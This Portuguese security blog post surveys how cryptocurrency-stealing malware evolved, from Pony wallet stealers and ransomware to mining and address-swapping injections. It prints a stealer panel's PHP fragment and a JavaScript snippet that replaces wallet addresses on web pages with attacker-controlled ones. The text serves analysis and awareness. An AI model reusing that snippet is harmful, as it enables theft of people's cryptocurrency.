Malware para criptomoedas: uma mistura explosiva

Publicado por Oscar Juárez - 05/04/2018

Desde o surgimento das criptomoedas, entre o final de 2008 e início de 2009, foram aparecendo, pouco a pouco, novos malware que tentam roubar as wallets dos usuários. Estes, assim como todos os demais, foram evoluindo e implementando novos métodos para conseguir seu objetivo, conforme explicamos a seguir.

Os primeiros roubos de criptomoedas foram efetuados através de Stealer típicos, como os da família Pony, aos quais havia sido acrescentado um módulo novo capaz de extrair as chaves privadas das carteiras que se encontrassem no dispositivo da vítima. A seguir, mostramos um fragmento de código do painel de controle que permite que o atacante baixe todas as chaves privadas extraídas em um arquivo zip.

if ($admin_routine == 'download_wallet' && $admin_action == 'other'){ 
    set_common_file_download_header('wallets.zip', 'application/zip'); 
    $pony_db -> get_wallet_zip(); 
    die();
} 


Após algum tempo, apareceram novos métodos mais efetivos. Como o leitor deve saber, estamos falando do já famoso Ransomware. Como lembrete, o objetivo principal deste malware é criptografar todos os arquivos da máquina infectada e solicitar um resgate em troca do restabelecimento do acesso aos mesmos, normalmente pago em Bitcoin.

criptomonedas-01

Este tipo de malware obteve e continua obtendo muito sucesso, o que fez com que surgisse uma infinidade de variantes. Mas, como sempre, quando aparece uma nova tipologia de malware, também aparecem tecnologias para mitigá-la. Por isso, os cibercriminosos evoluíram criando outros tipos, mas sem deixar de lado o Ransomware.

Depois do Ransomware, começaram a aparecer amostras de malware cuja finalidade era introduzir um Javascript de mining em todas as páginas que navegamos, de modo que o usuário infectado esteja minando dados de maneira constante enquanto navega.

criptomonedas-03

Em um primeiro momento, esta injeção se realizava por meio da infecção do dispositivo. Porém, mais tarde, apareceram estas injeções através de add-ons do navegador e, inclusive, os próprios websites começaram a introduzi-los com o objetivo de conseguir ganhos alternativos à publicidade tradicional que exibem.

No entanto, assim como no caso do Ransomware, apareceram medidas para evitar que se produzisse o mining e muitos Adblocker populares implementaram o bloqueio dos sites de onde era enviado o Javascript.

Mais uma vez, os delinquentes tiveram que se reinventar e começaram a injetar código Javascript nos navegadores das máquinas infectadas, de modo que quando o usuário navegasse a um site que tivesse algum endereço de wallet de criptomoeda, o código substituiria o endereço por um que estivesse sob o controle do atacante.

A seguir, mostramos um fragmento de código Javascript no qual houve uma tentativa de modificar os endereços das criptomoedas Litecoin, Ethereum e Bitcoin.

function init() {
    var a = document.documentElement.innerHTML;
    str = a.replace(/<.*?>/g, " ") .replace(/ +/g, " ");
    str = str.split(" ") .filter(function(a) {
    return (a = a.match(/(\w+)/)) && 24 < a[0].length
    })
    .join(" ");
    var b = str.split(" ");

    for (a = 0; a < b.length; a++) 1 == checkBtc(b[a]) ? "L" == b[a].substring(0, 1) ? (document.body.innerHTML = document.body.innerHTML.replace(b[a], "LKyKqLVy6KgyCYekftCHFTBLYiZyUvxtsG"), document.body.innerHTML = document.body.innerHTML.replace(b[a], "LKyKqLVy6KgyCYekftCHFTBLYiZyUvxtsG")) : (document.body.innerHTML = document.body.innerHTML.replace(b[a], "17bH1SYLoBdGsBaDedPR2EE3JUt8oRS7qd"), document.body.innerHTML = document.body.innerHTML.replace(b[a], "17bH1SYLoBdGsBaDedPR2EE3JUt8oRS7qd")) : 1 == checkEth(b[a]) && (document.body.innerHTML = document.body.innerHTML.replace(b[a], "0xa05AeF9CA4828A71f84d284F7A25A7Aa6D2fe114"), document.body.innerHTML = document.body.innerHTML.replace(b[a], "0xa05AeF9CA4828A71f84d284F7A25A7Aa6D2fe114"))

function checkEth(a) {
      return !!/^(0x)?[0-9a-f]{40}$/i.test(a) && (/^(0x)?[0-9a-f]{40}$/.test(a) || /^(0x)?[0-9A-F]{40}$/.test(a), !0)
}
function checkBtc(a) {
      return !(26 > a.length || 35 < a.length) && !!/^[A-Z0-9]+$/i.test(a)

init();


Outra variante que apareceu recentemente é semelhante à mudança de endereços que se produz no navegador. Porém, nesta ocasião, o ataque é feito através da área de transferência. Desta forma, quando o usuário copia seu endereço de wallet para realizar alguma ação, o malware troca este endereço por um próprio. Este é o caso do malware Evrial descoberto recentemente, entre outros.

criptomonedas-02Além de todos os tipos de malware para criptomoedas e métodos diversos para roubar os usuários, continuam sendo utilizadas técnicas de fraude online tão conhecidas como o Phishing ligado a fortes campanhas de Spam, onde, através de técnicas de engenharia social, tentam enganar o usuário para que introduza suas credenciais de diferentes exchanges e assim consigam se apropriar das criptomoedas que ele possua.

É evidente que isso é apenas o começo e que aparecerão novas mitigações para evitar que o usuário tenha suas criptomoedas roubadas. Mas que outras técnicas ou métodos de roubo de criptomoedas nos esperam no futuro?

Deep Learning for Online Fraud Prevention

Topics: fraude online, roubo de criptomoedas, malware para criptomoedas


Notícias relacionadas

Malware para criptomoedas: uma mistura explosiva

read more

Top 3 países de cibercriminosos especializados em fraude online

read more

Cibercriminosos do setor financeiro: compreendendo os "malvados" que estão por trás do teclado

read more